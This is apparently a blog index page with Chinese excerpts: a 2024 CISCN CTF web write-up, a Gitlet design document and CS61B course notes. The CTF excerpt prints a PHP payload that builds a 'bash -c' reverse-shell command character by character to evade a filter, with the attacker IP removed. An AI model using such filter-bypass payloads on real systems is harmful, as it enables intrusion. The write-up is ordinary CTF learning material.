2024ciscnWeb题解及一些思考
WebSimple_PHP过滤了很多东西,首先尝试参数逃逸不太成功。 然后发现它ban的大多数是查看文件的,和它杠到底,base32没过滤干净,可以读文件,但是.?*这种通配符被ban了,不太好描述文件啊。 考虑反弹shell,通过拼接构造: 123456<?php $c=array_keys(localeconv())[3][0]; $h=array_keys(localeconv())[1][1]; $r=array_keys(localeconv())[2][6]; $f=join(null,array($c,$h,$r)); system(join(null,array( $f(98),$f(97),$f(115),$f(104),$f(32),$f(45),$f(99),$f(32),$f(34),$f(98),$f(97),$f(115) )));//通过这种方式构造命令,我删了后半截有关我vps的ip的部分 获得shell之后没找到flag文件,看一下内网环境:ss -tuln 发现有3306端口开着,flag藏在里面。 使用mysql ...
gitlet-design
Gitlet Design DocumentName: yoo2i 前言本篇记录了我在做proj2 Gitlet时候对系统结构和各个函数的设计,同时也记录了我遇到的一些代码问题,希望能帮到后来人。 建议还是自己写,大框架自己定下来不要照搬别人的,这样才能得到最大程度的锻炼。实在出不来可以参考一下我的结构。 代码均在GitHub:cs61b/proj2 at master · yoo2i/cs61b (github.com) 关于merge的代码是最后写的,由于逻辑复杂加上时间不足,写的实在是烂,请不要参阅。如果未来有时间的话我会重构的(下次一定 some problems1.sha1无法调用 它只接受字符串or字节数组,其他对象需要转化为字节数组。 java对象和byte数组互转 - 代码四四五 (code445.com) 2.安排hash这个变量放在会计算hash的类中,方便后面编码。 3.尽量封装方便未来代码复用。 4.真实.git/object将40位的哈希值拆成2+38来组织文件夹是为了方便查询,因为支持只输入前几个字符来确定commit,...
cs61b-proj问题集合
已经实现的代码都在GitHub,欢迎拷打:yoo2i/cs61b (github.com) proj0单纯熟悉Java语法的,没啥坑,略过。 proj1 看完第11节才能学完迭代器和类方法的重写,写的时候没学过的不用写 要求里会让你抽象出一个deque的接口,没有这个接口自动评分机编译过不去的,还是那句话,别着急 编写随机测试对照组出现空指针错误 原因是deque模板类型设为int,int没法接受空值的比较,改成Integer就ok(proj1ec文档里更详细解释了) ArrayDeque建议 最好用循环数组,维护好前后的两个指针,最好把移动这两个指针抽象出来做成函数,以后不管是扩容还是其他都调用函数就完事 课上教的instanceof语法评分机报错 o instanceof LinkedListDeque test 这是高版本java特性,评分机没这么先进,强制类型转换就好了。 if (o instanceof LinkedListDeque) { LinkedListDeque test = (LinkedListDeque) o; ...
cs61b-lab
已经实现的代码都在GitHub,欢迎拷打:yoo2i/cs61b (github.com) 前言开启了数据结构的旅程,版本是21spring,先给出我用到的链接: 课程首页链接,提供了本课的主要脉络 带中文字幕的课程视频 自动评分机的邀请码 自动评分机网站 本文将更新我在做lab时遇到的各种困难,包括但不限于配置问题、思路问题等等。 proj遇到的问题将放在另一篇文章里。 (下文待整理) 遇到的一些问题: 1.新IDEA没有教程里所说的那个“For new projects” 打开看一眼的 2.还是pom.xml “找不到插件 ‘org.apache.maven.plugins:maven-compiler-plugin:3.1’” lab2 setup 新idea没有为未来所有项目 直接在欢迎界面设就ok 按着教程设置完找不到maven,pom.xml报错之类的 文档里说找maven的路径可以是pwd得来的,但是结果不符合Windows路径格式,别信,Windows是D:\test\test这样子,和它输出的不完全一样 lab3 lab4没遇到问题这俩,也可...